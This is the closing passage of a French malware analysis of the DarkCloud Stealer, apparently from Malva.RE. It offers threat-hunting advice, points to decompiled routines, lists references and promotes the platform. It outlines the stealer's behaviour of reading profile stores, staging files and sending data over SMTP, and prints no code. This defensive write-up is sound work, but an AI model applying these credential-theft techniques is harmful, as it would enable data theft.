Pour rechercher des comportements apparentés, un analyste peut corréler un programme VB6 inattendu, l’accès à des bases de profils, la création de fichiers de staging et des communications SMTP. Aucune de ces caractéristiques, prise seule, n’est exclusive à DarkCloud.
Les noms d’API crypto, les schémas CDO et les domaines de services légitimes ne doivent pas devenir automatiquement des IOC malveillants. L’état de la branche, la valeur effective des paramètres et leur provenance donnent le contexte nécessaire.
14. Explorer le cas
La vue de configuration Module7.proc_46CD10 permet de suivre les quatre branches de transport et la différence entre paramètres renseignés et marqueurs du builder.
La vue Form1 permet de partir des événements du formulaire pour remonter vers l’initialisation et les routines de collecte.
Le rapport Malva.RE de cet échantillon présente les sources reconstruites et la configuration lue dans le code, telles qu’elles apparaissent à l’analyste. C’est le point de départ le plus direct pour refaire la lecture proposée ici.
La page de la famille DarkCloud Stealer sur Malva.RE regroupe l’ensemble des échantillons de cette famille analysés par la plateforme. Elle permet de confronter la configuration lue ici à celle d’autres builds et de vérifier, cas par cas, quel transport est réellement activé.
Pour un analyste consultant un rapport Malva.RE, l’intérêt de l’accès à la décompilation est de pouvoir confronter les résultats au comportement décrit par les procédures. Le point décisif reste la traçabilité : quelle routine collecte les données, quelle condition autorise l’envoi et quels arguments désignent sa destination.
Références
- VBReFormer : configuration du cas DarkCloud,
Module7.proc_46CD10. - VBReFormer : formulaire
Form1du cas DarkCloud. - Decompiler-VB.net : DarkCloud, Malva.RE extrait la configuration d’un stealer VB6 grâce à VBReFormer. Les captures d’écran de VBReFormer Online des sections 5, 7 et 8 en proviennent.
- Evelyne Diaz Araque, Stairwell : A YARA Rule for Threat Hunting DarkCloud Stealer.
- Microsoft : types et constantes
VARENUM. - Microsoft : type
BSTR. - Microsoft : historique de Visual Basic, compilation native et P-code.
- Microsoft :
CdoProtocolsAuthentication. - Microsoft :
CryptUnprotectData. - Microsoft :
SetTimer.
Essayez Malva.RE sur un vrai échantillon
Extraction rapide et précise des configurations malware
- Analyse statique en moins de 10 secondes
- Déobfuscation VBA, PowerShell et AutoIt (offres payantes)
- Rapports pensés pour analystes SOC et analystes malware
Offre gratuite : soumissions et rapports publics. Privés dès l'offre Essential.
